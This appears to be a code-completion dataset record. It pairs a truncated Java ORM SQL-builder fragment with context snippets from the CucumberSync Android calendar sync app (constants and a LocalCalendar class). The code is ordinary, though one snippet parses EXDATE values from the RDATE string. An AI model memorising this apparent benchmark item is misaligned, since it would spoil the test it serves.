String[] pks, Map<Class<?>, String> tableMap) { ORMapInfo mapInfo = getOrMapInfo(mainClass, tableMap); Map<String, String> columnFieldMap = mapInfo.getColumnFieldMap(); if (columnFieldMap.isEmpty()) { return null; } QuerySql querySql = new QuerySql(); try { fillSqlFragmentByPks(mainClass, childrenPaths, querySql, pks, tableMap); } catch (NoSuchFieldException e) { throw new POJOClassDefineException("Class is defined error:" + e.getMessage(), e); } return querySql; } List<String> buildCreateTableSql(Class<?> clazz) { // ORMapInfo mapInfo = this.orMapper.generateColumnMap(clazz); List<String> sqls = new ArrayList<String>(); ORMapInfo[] maps = this.orMapper.generateAllTableColumnMap(clazz); for (ORMapInfo m : maps) { String sql = genCreateTableSql(clazz, m); if (TextUtils.isEmpty(sql)) { continue; } sqls.add(sql); } return sqls; } List<SQLObject> buildCreateTableSqlObj(Class<?> clazz) { List<String> sqls = buildCreateTableSql(clazz); if (sqls == null) { return null; } List<SQLObject> sqlObjs = new ArrayList<SQLObject>(); for (String sql : sqls) { sqlObjs.add(new SQLObject(sql, null)); } return sqlObjs; } String buildCreateTableSql(Class<?> clazz, String tableName) { ORMapInfo map = this.orMapper.generateColumnMap(clazz, tableName); String sql = genCreateTableSql(clazz, map); return sql; } String buildCreateTempTableSql(Class<?> clazz, ORMapInfo mapInfo, String tempTableName) { StringBuffer sql = new StringBuffer(); sql.append("create temp table "); sql.append(tempTableName); sql.append(LEFT_PARENTHESIS); String columnSql = buildCreateTableColumnSql(clazz, mapInfo, true); if (TextUtils.isEmpty(columnSql)) { return null; } sql.append(RIGHT_PARENTHESIS); return sql.toString(); } SQLObject buildDeleteSql(Object condition, Class<?> clazz, ValueConvertor typeValueConvertor, String tableName) { if (condition == null && clazz == null) { return null; } // List<Object> argList = new ArrayList<Object>(); Class<?> c = clazz; if (c == null) { c = condition.getClass(); } ORMapInfo orMapInfo = orMapper.generateColumnMap(c, tableName); Map<String, String> fieldColumnMap = orMapInfo.getFieldColumnMap(); if (fieldColumnMap.isEmpty()) { return null; } WhereObject whereObj = buildWhereInfo(condition, orMapInfo, typeValueConvertor); StringBuffer sql = new StringBuffer(); sql.append(" delete "); sql.append(" from "); sql.append(orMapInfo.getTableName()); if (whereObj != null && whereObj.whereArg != null) { sql.append(" where "); sql.append(whereObj.whereArg); } SQLObject sqlObj = new SQLObject(sql.toString(), whereObj.whereArgValues == null ? new Object[0] : whereObj.whereArgValues); return sqlObj; } SQLObject[] buildDropSqls(Class<?> clazz) { List<SQLObject> sqlList = new ArrayList<SQLObject>(); ORMapInfo[] maps = orMapper.generateAllTableColumnMap(clazz); for (ORMapInfo m : maps) { String tableName = m.getTableName(); String dropSql = buildDropSql(tableName); if (TextUtils.isEmpty(dropSql)) { continue; } SQLObject sqlObj = new SQLObject(dropSql, null); sqlList.add(sqlObj); } return sqlList.toArray(new SQLObject[0]); } String buildDropSql(String tableName) { StringBuffer sb = new StringBuffer(); sb.append("drop table if exists "); sb.append(tableName); return sb.toString(); } SQLObject[] buildInsertSql(Object[] entities, ValueConvertor typeValueConvertor, Map<Class<?>, String> tableMap,
UniqueIDGenerator mIDGenerator) {
8
eXfio/CucumberSync
CucumberSync/src/main/java/org/exfio/csyncdroid/syncadapter/CalendarsSyncAdapterService.java
[ "public class Constants {\n\tpublic static final String APP_VERSION = BuildConfig.VERSION_NAME;\n\tpublic static final String ACCOUNT_TYPE_CSYNC = \"org.exfio.csyncdroid.csync\";\n\tpublic static final String ACCOUNT_TYPE_FXACCOUNT = \"org.exfio.csyncdroid.fxaccount\";\n\tpublic static final String ACCOUNT_TYPE_LEGACYV5 = \"org.exfio.csyncdroid.legacyv5\";\n\tpublic static final String ACCOUNT_TYPE_EXFIOPEER = \"org.exfio.csyncdroid.exfiopeer\";\n\tpublic static final String META_COLLECTION = \"meta\";\n\tpublic static final String META_ID = \"exfio\";\n\tpublic static final String ADDRESSBOOK_COLLECTION = \"exfiocontacts\";\n\tpublic static final String CALENDAR_COLLECTION = \"exfiocalendar\";\n\tpublic static final String WEB_URL_HELP = \"https://exfio.org/cucumbersync\";\n\tpublic static enum ResourceType {\n\t\tADDRESS_BOOK,\n\t\tCALENDAR\n\t}\n}", "public class LocalCalendar extends LocalCollection<Event> {\n\tprivate static final String TAG = \"csyncdroid.LocalCal\";\n\n\t//TODO - use CTAG or other content provider field for modified date?\n\tprotected static String COLLECTION_COLUMN_CTAG = Calendars.CAL_SYNC1;\n\n\tprotected String contentAuthority = \"com.android.calendar\";\n\n\t@Getter protected long id;\n\t@Getter protected String timeZone;\n\tprotected AccountSettings accountSettings;\n\n\t/* database fields */\n\t\n\t@Override\n\tprotected Uri entriesURI() {\n\t\treturn syncAdapterURI(Events.CONTENT_URI);\n\t}\n\n\tprotected String entryColumnAccountType()\t{ return Events.ACCOUNT_TYPE; }\n\tprotected String entryColumnAccountName()\t{ return Events.ACCOUNT_NAME; }\n\t\n\tprotected String entryColumnParentID()\t\t{ return Events.CALENDAR_ID; }\n\tprotected String entryColumnID()\t\t\t{ return Events._ID; }\n\tprotected String entryColumnRemoteId()\t\t{ return Events._SYNC_ID; }\n\tprotected String entryColumnETag()\t\t\t{ return Events.SYNC_DATA1; }\n\n\tprotected String entryColumnDirty()\t\t\t{ return Events.DIRTY; }\n\tprotected String entryColumnDeleted()\t\t{ return Events.DELETED; }\n\t\n\t@TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1)\n\tprotected String entryColumnUID() {\n\t\treturn (android.os.Build.VERSION.SDK_INT >= 17) ?\n\t\t\tEvents.UID_2445 : Events.SYNC_DATA2;\n\t}\n\n\tpublic LocalCalendar(Account account, ContentProviderClient providerClient, AccountSettings accountSettings, int id, String timeZone) {\n\t\tsuper(account, providerClient);\n\t\tthis.accountSettings = accountSettings;\n\t\tthis.id = id;\n\t\tthis.timeZone = timeZone;\n\t}\n\n\n\t/* class methods, constructor */\n\n\t@SuppressLint(\"InlinedApi\")\n\tpublic static void create(Account account, ContentResolver resolver, ServerInfo.ResourceInfo info) throws RemoteException {\n\t\tContentProviderClient client = resolver.acquireContentProviderClient(CalendarContract.AUTHORITY);\n\n\t\t//FIXME - change default colour\n\t\tint color = 0xFFC3EA6E;\t\t// fallback: \"DAVdroid green\"\n\t\tif (info.getColor() != null) {\n\t\t\tPattern p = Pattern.compile(\"#(\\\\p{XDigit}{6})(\\\\p{XDigit}{2})?\");\n\t\t\tMatcher m = p.matcher(info.getColor());\n\t\t\tif (m.find()) {\n\t\t\t\tint color_rgb = Integer.parseInt(m.group(1), 16);\n\t\t\t\tint color_alpha = m.group(2) != null ? (Integer.parseInt(m.group(2), 16) & 0xFF) : 0xFF;\n\t\t\t\tcolor = (color_alpha << 24) | color_rgb;\n\t\t\t}\n\t\t}\n\t\t\n\t\tContentValues values = new ContentValues();\n\t\tvalues.put(Calendars.ACCOUNT_NAME, account.name);\n\t\tvalues.put(Calendars.ACCOUNT_TYPE, account.type);\n\t\tvalues.put(Calendars.NAME, info.getCollection());\n\t\tvalues.put(Calendars.CALENDAR_DISPLAY_NAME, info.getTitle());\n\t\tvalues.put(Calendars.CALENDAR_COLOR, color);\n\t\tvalues.put(Calendars.OWNER_ACCOUNT, account.name);\n\t\tvalues.put(Calendars.SYNC_EVENTS, 1);\n\t\tvalues.put(Calendars.VISIBLE, 1);\n\t\tvalues.put(Calendars.ALLOWED_REMINDERS, Reminders.METHOD_ALERT);\n\t\t\n\t\tif (info.isReadOnly())\n\t\t\tvalues.put(Calendars.CALENDAR_ACCESS_LEVEL, Calendars.CAL_ACCESS_READ);\n\t\telse {\n\t\t\tvalues.put(Calendars.CALENDAR_ACCESS_LEVEL, Calendars.CAL_ACCESS_OWNER);\n\t\t\tvalues.put(Calendars.CAN_ORGANIZER_RESPOND, 1);\n\t\t\tvalues.put(Calendars.CAN_MODIFY_TIME_ZONE, 1);\n\t\t}\n\t\t\n\t\tif (android.os.Build.VERSION.SDK_INT >= 15) {\n\t\t\tvalues.put(Calendars.ALLOWED_AVAILABILITY, Events.AVAILABILITY_BUSY + \",\" + Events.AVAILABILITY_FREE + \",\" + Events.AVAILABILITY_TENTATIVE);\n\t\t\tvalues.put(Calendars.ALLOWED_ATTENDEE_TYPES, Attendees.TYPE_NONE + \",\" + Attendees.TYPE_OPTIONAL + \",\" + Attendees.TYPE_REQUIRED + \",\" + Attendees.TYPE_RESOURCE);\n\t\t}\n\t\t\n\t\tif (info.getTimezone() != null)\n\t\t\tvalues.put(Calendars.CALENDAR_TIME_ZONE, info.getTimezone());\n\t\t\n\t\tLog.i(TAG, \"Inserting calendar: \" + values.toString() + \" -> \" + calendarsURI(account).toString());\n\t\tclient.insert(calendarsURI(account), values);\n\t}\n\t\n\tpublic static LocalCalendar[] findAll(Account account, ContentProviderClient providerClient, AccountSettings accountSettings) throws RemoteException {\n\t\t@Cleanup Cursor cursor = providerClient.query(calendarsURI(account),\n\t\t\t\tnew String[] { Calendars._ID, Calendars.NAME, COLLECTION_COLUMN_CTAG, Calendars.CALENDAR_TIME_ZONE },\n\t\t\t\tCalendars.DELETED + \"=0 AND \" + Calendars.SYNC_EVENTS + \"=1\", null, null);\n\t\t\n\t\tLinkedList<LocalCalendar> calendars = new LinkedList<LocalCalendar>();\n\t\twhile (cursor != null && cursor.moveToNext())\n\t\t\tcalendars.add(new LocalCalendar(account, providerClient, accountSettings, cursor.getInt(0), cursor.getString(3)));\n\t\treturn calendars.toArray(new LocalCalendar[0]);\n\t}\n\n\n\t/* collection operations */\n\t\n\tpublic void setCTag(String cTag) {\n\t\tpendingOperations.add(ContentProviderOperation.newUpdate(ContentUris.withAppendedId(calendarsURI(), id))\n\t\t\t.withValue(COLLECTION_COLUMN_CTAG, cTag)\n\t\t\t.build());\n\t}\n\n\n\t/* create/update/delete */\n\t\n\tpublic Event newResource(long localID, String resourceName, String eTag) {\n\t\treturn new Event(localID, resourceName, eTag);\n\t}\n\t\n\tpublic void deleteAllExceptRemoteIds(String[] preserveIds) {\n\t\tString where;\n\t\t\n\t\tif (preserveIds.length != 0) {\n\t\t\twhere = entryColumnRemoteId() + \" NOT IN (\" + SQLUtils.quoteArray(preserveIds) + \")\";\n\t\t} else\n\t\t\twhere = entryColumnRemoteId() + \" IS NOT NULL\";\n\t\t\n\t\tBuilder builder = ContentProviderOperation.newDelete(entriesURI())\n\t\t\t\t.withSelection(entryColumnParentID() + \"=? AND (\" + where + \")\", new String[]{String.valueOf(id)});\n\t\tpendingOperations.add(builder\n\t\t\t\t.withYieldAllowed(true)\n\t\t\t\t.build());\n\t}\n\t\n\tpublic void deleteAllExceptUIDs(String[] preserveUids) {\n\t\tString where;\n\t\t\n\t\tif (preserveUids.length != 0) {\n\t\t\twhere = entryColumnUID() + \" NOT IN (\" + SQLUtils.quoteArray(preserveUids) + \")\";\n\t\t} else\n\t\t\twhere = entryColumnUID() + \" IS NOT NULL\";\n\t\t\t\n\t\tBuilder builder = ContentProviderOperation.newDelete(entriesURI())\n\t\t\t\t.withSelection(entryColumnParentID() + \"=? AND (\" + where + \")\", new String[]{String.valueOf(id)});\n\t\tpendingOperations.add(builder\n\t\t\t\t.withYieldAllowed(true)\n\t\t\t\t.build());\n\t}\n\t\n\t/* methods for populating the data object from the content provider */\n\n\tprotected String resourceToString(Resource resource) throws LocalStorageException{\n\n\t\tString output = \"Event:\";\n\n\t\t@Cleanup Cursor cursor = null;\n\t\ttry {\n\t\t\tcursor = providerClient.query(ContentUris.withAppendedId(entriesURI(), resource.getLocalID()),\n\t\t\t\t\tnew String[] {\n\t\t\t\t\t/* 0 */ Events.TITLE, Events.EVENT_LOCATION, Events.DESCRIPTION,\n\t\t\t\t\t/* 3 */ Events.DTSTART, Events.DTEND, Events.EVENT_TIMEZONE, Events.EVENT_END_TIMEZONE, Events.ALL_DAY,\n\t\t\t\t\t/* 8 */ Events.STATUS, Events.ACCESS_LEVEL,\n\t\t\t\t\t/* 10 */ Events.RRULE, Events.RDATE, Events.EXRULE, Events.EXDATE,\n\t\t\t\t\t/* 14 */ Events.HAS_ATTENDEE_DATA, Events.ORGANIZER, Events.SELF_ATTENDEE_STATUS,\n\t\t\t\t\t/* 17 */ entryColumnUID(), Events.DURATION, Events.AVAILABILITY,\n\t\t\t\t\t/* 20 */ entryColumnID(), entryColumnRemoteId()\n\t\t\t\t\t}, null, null, null);\n\t\t} catch (RemoteException e) {\n\t\t\tthrow new LocalStorageException(\"Couldn't find event (\" + resource.getLocalID() + \")\" + e.getMessage());\n\t\t}\n\n\t\tif (cursor != null && cursor.moveToNext()) {\n\n\t\t\toutput += \"\\nLocalId: \" + cursor.getString(20);\n\t\t\toutput += \"\\nRemoteId: \" + cursor.getString(21);\n\t\t\toutput += \"\\nUID: \" + cursor.getString(17);\n\t\t\toutput += \"\\nTITLE: \" + cursor.getString(0);\n\t\t\toutput += \"\\nEVENT_LOCATION: \" + cursor.getString(1);\n\t\t\toutput += \"\\nDESCRIPTION: \" + cursor.getString(2);\n\n\t\t\tboolean allDay = cursor.getInt(7) != 0;\n\t\t\tlong tsStart = cursor.getLong(3);\n\t\t\tlong tsEnd = cursor.getLong(4);\n\t\t\tString duration = cursor.getString(18);\n\t\t\tString tzStart = cursor.getString(5);\n\t\t\tString tzEnd = cursor.getString(6);\n\n\t\t\tDate dtStart = new Date(tsStart);\n\t\t\tDate dtEnd = new Date(tsEnd);\n\n\t\t\toutput += \"\\nALL_DAY: \" + allDay;\n\t\t\toutput += \"\\nDTSTART: \" + dtStart.toString() + \"(\" + tsStart + \")\";\n\t\t\toutput += \"\\nEVENT_TIMEZONE: \" + tzStart;\n\t\t\toutput += \"\\nDTEND: \" + dtEnd.toString() + \"(\" + tsEnd + \")\";\n\t\t\toutput += \"\\nEVENT_END_TIMEZONE: \" + tzEnd;\n\t\t\toutput += \"\\nDURATION: \" + duration;\n\t\t\toutput += \"\\nSTATUS: \" + cursor.getString(8);\n\t\t\toutput += \"\\nACCESS_LEVEL: \" + cursor.getString(9);\n\t\t\toutput += \"\\nRRULE: \" + cursor.getString(10);\n\t\t\toutput += \"\\nRDATE: \" + cursor.getString(11);\n\t\t\toutput += \"\\nEXRULE: \" + cursor.getString(12);\n\t\t\toutput += \"\\nEXDATE: \" + cursor.getString(13);\n\t\t\toutput += \"\\nHAS_ATTENDEE_DATA: \" + cursor.getString(14);\n\t\t\toutput += \"\\nORGANIZER: \" + cursor.getString(15);\n\t\t\toutput += \"\\nSELF_ATTENDEE_STATUS: \" + cursor.getString(16);\n\t\t\toutput += \"\\nAVAILABILITY: \" + cursor.getString(19);\n\t\t} else {\n\t\t\tthrow new LocalStorageException(\"Invalid cursor while fetching event (\" + resource.getLocalID() + \")\");\n\t\t}\n\t\treturn output;\n\t}\n\n\t@Override\n\tpublic void populate(Resource resource) throws LocalStorageException {\n\t\tLog.d(TAG, \"populate()\");\n\n\t\tLog.d(TAG, resourceToString(resource));\n\n\t\tEvent e = (Event)resource;\n\n\t\tICalParameters icalParams = new ICalParameters();\n\t\tParseContext parseContext = new ParseContext();\n\n\t\ttry {\n\t\t\t@Cleanup Cursor cursor = providerClient.query(ContentUris.withAppendedId(entriesURI(), e.getLocalID()),\n\t\t\t\tnew String[] {\n\t\t\t\t\t/* 0 */ Events.TITLE, Events.EVENT_LOCATION, Events.DESCRIPTION,\n\t\t\t\t\t/* 3 */ Events.DTSTART, Events.DTEND, Events.EVENT_TIMEZONE, Events.EVENT_END_TIMEZONE, Events.ALL_DAY,\n\t\t\t\t\t/* 8 */ Events.STATUS, Events.ACCESS_LEVEL,\n\t\t\t\t\t/* 10 */ Events.RRULE, Events.RDATE, Events.EXRULE, Events.EXDATE,\n\t\t\t\t\t/* 14 */ Events.HAS_ATTENDEE_DATA, Events.ORGANIZER, Events.SELF_ATTENDEE_STATUS,\n\t\t\t\t\t/* 17 */ entryColumnUID(), Events.DURATION, Events.AVAILABILITY\n\t\t\t\t}, null, null, null);\n\t\t\tif (cursor != null && cursor.moveToNext()) {\n\t\t\t\te.setUid(cursor.getString(17));\n\t\t\t\t\n\t\t\t\te.setSummary(cursor.getString(0));\n\t\t\t\te.setLocation(cursor.getString(1));\n\t\t\t\te.setDescription(cursor.getString(2));\n\t\t\t\t\n\t\t\t\tboolean allDay = cursor.getInt(7) != 0;\n\t\t\t\tlong tsStart = cursor.getLong(3),\n\t\t\t\t\t tsEnd = cursor.getLong(4);\n\t\t\t\tString duration = cursor.getString(18);\n\t\t\t\t\n\t\t\t\tString tzId = cursor.getString(5);\n\t\t\t\tTimeZone tz = TimeZone.getTimeZone(tzId);\n\n\t\t\t\tif (allDay) {\n\t\t\t\t\te.setDtStart(new Date(tsStart), false);\n\n\t\t\t\t\t// provide only DTEND and not DURATION for all-day events\n\t\t\t\t\tif (tsEnd == 0) {\n\t\t\t\t\t\tDuration dur = Duration.parse(duration);\n\t\t\t\t\t\tDate dEnd = dur.add(new Date(tsStart));\n\t\t\t\t\t\ttsEnd = dEnd.getTime();\n\t\t\t\t\t}\n\t\t\t\t\te.setDtEnd(new Date(tsEnd), false);\n\n\t\t\t\t} else {\n\t\t\t\t\t//FIXME - Dates are stored as longs, i.e. epoch, hence not clear why timezone property is needed\n\t\t\t\t\t// use the start time zone for the end time, too\n\t\t\t\t\t// because apps like Samsung Planner allow the user to change \"the\" time zone but change the start time zone only\n\t\t\t\t\t//tzId = cursor.getString(5);\n\n\t\t\t\t\t//e.setDtStart(new Date(tsStart), true);\n\t\t\t\t\tDate tmpStart = new Date(tsStart);\n\t\t\t\t\te.setDtStart(tmpStart, true);\n\t\t\t\t\tif (tsEnd != 0) {\n\t\t\t\t\t\t//e.setDtEnd(new Date(tsEnd), true);\n\t\t\t\t\t\tDate tmpEnd = new Date(tsEnd);\n\t\t\t\t\t\te.setDtEnd(tmpEnd, true);\n\t\t\t\t\t} else if (!StringUtils.isEmpty(duration)) {\n\t\t\t\t\t\te.setDuration(Duration.parse(duration));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t// recurrence\n\t\t\t\ttry {\n\t\t\t\t\tString strRRule = cursor.getString(10);\n\t\t\t\t\tif (!StringUtils.isEmpty(strRRule)) {\n\t\t\t\t\t\t//e.setRrule(parseRecurrenceRule(strRRule, tz));\n\t\t\t\t\t\tRecurrenceRuleScribe rRuleReader = new RecurrenceRuleScribe();\n\t\t\t\t\t\te.setRrule(rRuleReader.parseText(strRRule, ICalDataType.RECUR, icalParams, parseContext));\n\t\t\t\t\t}\n\n\t\t\t\t\tString strRDate = cursor.getString(11);\n\t\t\t\t\tif (!StringUtils.isEmpty(strRDate)) {\n\t\t\t\t\t\t//e.setRdate(parseRecurrenceDates(strRDate, tz));\n\t\t\t\t\t\tRecurrenceDatesScribe rDatesReader = new RecurrenceDatesScribe();\n\t\t\t\t\t\tList<RecurrenceDates> listRDates = new ArrayList<RecurrenceDates>();\n\t\t\t\t\t\tlistRDates.add(rDatesReader.parseText(strRDate, ICalDataType.DATE, icalParams, parseContext));\n\t\t\t\t\t\te.setRdate(listRDates);\n\t\t\t\t\t}\n\n\t\t\t\t\tString strExRule = cursor.getString(12);\n\t\t\t\t\tif (!StringUtils.isEmpty(strExRule)) {\n\t\t\t\t\t\t//e.setExrule(parseExceptionRule(strExRule, tz));\n\t\t\t\t\t\tExceptionRuleScribe exRuleReader = new ExceptionRuleScribe();\n\t\t\t\t\t\tList<ExceptionRule> listExRule = new ArrayList<ExceptionRule>();\n\t\t\t\t\t\tlistExRule.add(exRuleReader.parseText(strExRule, ICalDataType.RECUR, icalParams, parseContext));\n\t\t\t\t\t\te.setExrule(listExRule);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tString strExDate = cursor.getString(13);\n\t\t\t\t\tif (!StringUtils.isEmpty(strExDate)) {\n\t\t\t\t\t\t// ignored, see https://code.google.com/p/android/issues/detail?id=21426\n\t\t\t\t\t\t//e.setExdate(parseExceptionDates(strExDate, tz));\n\t\t\t\t\t\tExceptionDatesScribe exDatesReader = new ExceptionDatesScribe();\n\t\t\t\t\t\tList<ExceptionDates> listExDates = new ArrayList<ExceptionDates>();\n\t\t\t\t\t\tlistExDates.add(exDatesReader.parseText(strRDate, ICalDataType.DATE, icalParams, parseContext));\n\t\t\t\t\t\te.setExdate(listExDates);\n\t\t\t\t\t}\n\t\t\t\t} catch (IllegalArgumentException ex) {\n\t\t\t\t\tLog.w(TAG, \"Invalid recurrence rules, ignoring\", ex);\n\t\t\t\t}\n\t\n\t\t\t\t// status\n\t\t\t\tswitch (cursor.getInt(8)) {\n\t\t\t\tcase Events.STATUS_CONFIRMED:\n\t\t\t\t\te.setStatus(Status.confirmed());\n\t\t\t\t\tbreak;\n\t\t\t\tcase Events.STATUS_TENTATIVE:\n\t\t\t\t\te.setStatus(Status.tentative());\n\t\t\t\t\tbreak;\n\t\t\t\tcase Events.STATUS_CANCELED:\n\t\t\t\t\te.setStatus(Status.cancelled());\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// availability\n\t\t\t\te.setOpaque(cursor.getInt(19) != Events.AVAILABILITY_FREE);\n\t\t\t\t\t\n\t\t\t\t// attendees\n\t\t\t\tif (cursor.getInt(14) != 0) {\t// has attendees\n\t\t\t\t\t//TODO - parse name from email assuming it is in rfc2822 format\n\t\t\t\t\te.setOrganizer(new Organizer(cursor.getString(15), cursor.getString(15)));\n\t\t\t\t\tpopulateAttendees(e);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// classification\n\t\t\t\tswitch (cursor.getInt(9)) {\n\t\t\t\tcase Events.ACCESS_CONFIDENTIAL:\n\t\t\t\tcase Events.ACCESS_PRIVATE:\n\t\t\t\t\te.setForPublic(false);\n\t\t\t\t\tbreak;\n\t\t\t\tcase Events.ACCESS_PUBLIC:\n\t\t\t\t\te.setForPublic(true);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tpopulateReminders(e);\n\t\t\t} else\n\t\t\t\tthrow new RecordNotFoundException();\n\t\t} catch(RemoteException ex) {\n\t\t\tthrow new LocalStorageException(ex);\n\t\t}\n\t}\n\n\t\n\tvoid populateAttendees(Event e) throws RemoteException {\n\t\tUri attendeesUri = Attendees.CONTENT_URI.buildUpon()\n\t\t\t\t.appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, \"true\")\n\t\t\t\t.build();\n\t\t@Cleanup Cursor c = providerClient.query(attendeesUri, new String[]{\n\t\t\t\t/* 0 */ Attendees.ATTENDEE_EMAIL, Attendees.ATTENDEE_NAME, Attendees.ATTENDEE_TYPE,\n\t\t\t\t/* 3 */ Attendees.ATTENDEE_RELATIONSHIP, Attendees.STATUS\n\t\t}, Attendees.EVENT_ID + \"=?\", new String[]{String.valueOf(e.getLocalID())}, null);\n\n\t\twhile (c != null && c.moveToNext()) {\n\n\t\t\tAttendee attendee = new Attendee(c.getString(1), c.getString(0));\n\n\t\t\t// type\n\t\t\tint type = c.getInt(2);\n\t\t\tattendee.setParameter(\"TYPE\", (type == Attendees.TYPE_RESOURCE) ? \"RESOURCE\" : \"NONE\");\n\n\t\t\t// role\n\t\t\tint relationship = c.getInt(3);\n\t\t\tswitch (relationship) {\n\t\t\t\tcase Attendees.RELATIONSHIP_ORGANIZER:\n\t\t\t\t\tattendee.setRole(Role.CHAIR);\n\t\t\t\t\tbreak;\n\t\t\t\tcase Attendees.RELATIONSHIP_ATTENDEE:\n\t\t\t\tcase Attendees.RELATIONSHIP_PERFORMER:\n\t\t\t\tcase Attendees.RELATIONSHIP_SPEAKER:\n\t\t\t\t\tattendee.setRole(Role.ATTENDEE);\n\t\t\t\t\tbreak;\n\t\t\t\tcase Attendees.RELATIONSHIP_NONE:\n\t\t\t\t\t//No role\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t//Ignore\n\t\t\t}\n\n\t\t\t// status\n\t\t\tswitch (c.getInt(4)) {\n\t\t\t\tcase Attendees.ATTENDEE_STATUS_INVITED:\n\t\t\t\t\tattendee.setParticipationStatus(ParticipationStatus.NEEDS_ACTION);\n\t\t\t\t\tbreak;\n\t\t\t\tcase Attendees.ATTENDEE_STATUS_ACCEPTED:\n\t\t\t\t\tattendee.setParticipationStatus(ParticipationStatus.ACCEPTED);\n\t\t\t\t\tbreak;\n\t\t\t\tcase Attendees.ATTENDEE_STATUS_DECLINED:\n\t\t\t\t\tattendee.setParticipationStatus(ParticipationStatus.DECLINED);\n\t\t\t\t\tbreak;\n\t\t\t\tcase Attendees.ATTENDEE_STATUS_TENTATIVE:\n\t\t\t\t\tattendee.setParticipationStatus(ParticipationStatus.TENTATIVE);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t//Ignore\n\t\t\t}\n\n\t\t\te.addAttendee(attendee);\n\t\t}\n\t}\n\t\n\tvoid populateReminders(Event e) throws RemoteException {\n\t\t// reminders\n\t\tUri remindersUri = Reminders.CONTENT_URI.buildUpon()\n\t\t\t\t.appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, \"true\")\n\t\t\t\t.build();\n\t\t@Cleanup Cursor c = providerClient.query(remindersUri, new String[]{\n\t\t\t\t/* 0 */ Reminders.MINUTES, Reminders.METHOD\n\t\t}, Reminders.EVENT_ID + \"=?\", new String[]{String.valueOf(e.getLocalID())}, null);\n\t\twhile (c != null && c.moveToNext()) {\n\t\t\t//Duration duration = new Duration.Builder().prior(true).minutes(c.getInt(0)).build();\n\t\t\tDuration duration = new Duration.Builder().minutes(c.getInt(0)).build();\n\t\t\tTrigger trigger = new Trigger(duration, Related.START);\n\t\t\tVAlarm alarm = VAlarm.display(trigger, e.getSummary());\n\t\t\te.addAlarm(alarm);\n\t\t}\n\t}\n\t\n\t\n\t/* content builder methods */\n\n\t@Override\n\tprotected Builder buildEntry(Builder builder, Resource resource) {\n\t\tLog.d(TAG, \"buildEntry()\");\n\t\tEvent event = (Event)resource;\n\n\t\tLog.d(TAG, \"dtstart: \" + event.getDtStart().getValue().toString());\n\t\tLog.d(TAG, \"dtend: \" + (event.getDtEnd() == null ? null : event.getDtEnd().getValue().toString()));\n\t\tLog.d(TAG, \"duration: \" + (event.getDuration() == null ? null : event.getDuration().getValue().toString()));\n\n\t\tTimezoneInfo tzInfo = new TimezoneInfo();\n\t\ttzInfo.setDefaultTimeZone(TimeZone.getTimeZone(this.timeZone));\n\t\tWriteContext writeContext = new WriteContext(ICalVersion.V2_0, tzInfo);\n\n\t\tbuilder = builder\n\t\t\t\t.withValue(Events.CALENDAR_ID, id)\n\t\t\t\t.withValue(entryColumnRemoteId(), event.getId())\n\t\t\t\t.withValue(entryColumnETag(), event.getETag())\n\t\t\t\t.withValue(entryColumnUID(), event.getUid())\n\t\t\t\t.withValue(Events.ALL_DAY, event.isAllDay() ? 1 : 0)\n\t\t\t\t.withValue(Events.DTSTART, event.getDtStart().getValue().getTime())\n\t\t\t\t.withValue(Events.EVENT_TIMEZONE, tzInfo.getTimeZoneToWriteIn(event.getDtStart()).getID())\n\t\t\t\t.withValue(Events.HAS_ATTENDEE_DATA, event.getAttendees().isEmpty() ? 0 : 1)\n\t\t\t\t.withValue(Events.GUESTS_CAN_INVITE_OTHERS, 1)\n\t\t\t\t.withValue(Events.GUESTS_CAN_MODIFY, 1)\n\t\t\t\t.withValue(Events.GUESTS_CAN_SEE_GUESTS, 1);\n\t\t\n\t\tboolean recurring = false;\n\n\t\tif (event.getRrule() != null) {\n\t\t\trecurring = true;\n\n\t\t\tRecurrenceRuleScribe rRuleWriter = new RecurrenceRuleScribe();\n\n\t\t\tbuilder = builder.withValue(Events.RRULE, rRuleWriter.writeText(event.getRrule(), writeContext));\n\t\t}\n\t\tif (event.getRdate() != null && event.getRdate().size() > 0) {\n\t\t\trecurring = true;\n\n\t\t\tRecurrenceDatesScribe rDateWriter = new RecurrenceDatesScribe();\n\n\t\t\tfor (RecurrenceDates rDate: event.getRdate()) {\n\t\t\t\tbuilder = builder.withValue(Events.RDATE, rDateWriter.writeText(rDate, writeContext));\n\t\t\t}\n\t\t}\n\t\tif (event.getExrule() != null) {\n\n\t\t\tExceptionRuleScribe exRuleWriter = new ExceptionRuleScribe();\n\n\t\t\tfor (ExceptionRule exRule: event.getExrule()) {\n\t\t\t\tbuilder = builder.withValue(Events.EXRULE, exRuleWriter.writeText(exRule, writeContext));\n\t\t\t}\n\t\t}\n\t\tif (event.getExdate() != null && event.getExdate().size() > 0) {\n\n\t\t\tExceptionDatesScribe exDateWriter = new ExceptionDatesScribe();\n\n\t\t\tfor (ExceptionDates exDate: event.getExdate()) {\n\t\t\t\tbuilder = builder.withValue(Events.EXDATE, exDateWriter.writeText(exDate, writeContext));\n\t\t\t}\n\t\t}\n\n\t\t// set either DTEND for single-time events or DURATION for recurring events\n\t\t// because that's the way Android likes it (see docs)\n\t\tif (recurring) {\n\t\t\t// calculate DURATION from start and end date\n\t\t\tDurationPropertyScribe durWriter = new DurationPropertyScribe();\n\n\t\t\tDurationProperty duration;\n\t\t\tif (event.getDuration() != null) {\n\t\t\t\tduration = event.getDuration();\n\t\t\t} else {\n\t\t\t\tDuration dur = new Duration.Builder().seconds((int) ((event.getDtEnd().getValue().getTime() - event.getDtStart().getValue().getTime()) / 1000)).build();\n\t\t\t\tduration = new DurationProperty(dur);\n\t\t\t}\n\n\t\t\tbuilder = builder.withValue(Events.DURATION, durWriter.writeText(duration, writeContext));\n\t\t} else {\n\t\t\tbuilder = builder\n\t\t\t\t\t.withValue(Events.DTEND, event.getDtEnd().getValue().getTime())\n\t\t\t\t\t.withValue(Events.EVENT_END_TIMEZONE, tzInfo.getTimeZoneToWriteIn(event.getDtEnd()).getID());\n\t\t}\n\t\t\n\t\tif (event.getSummary() != null)\n\t\t\tbuilder = 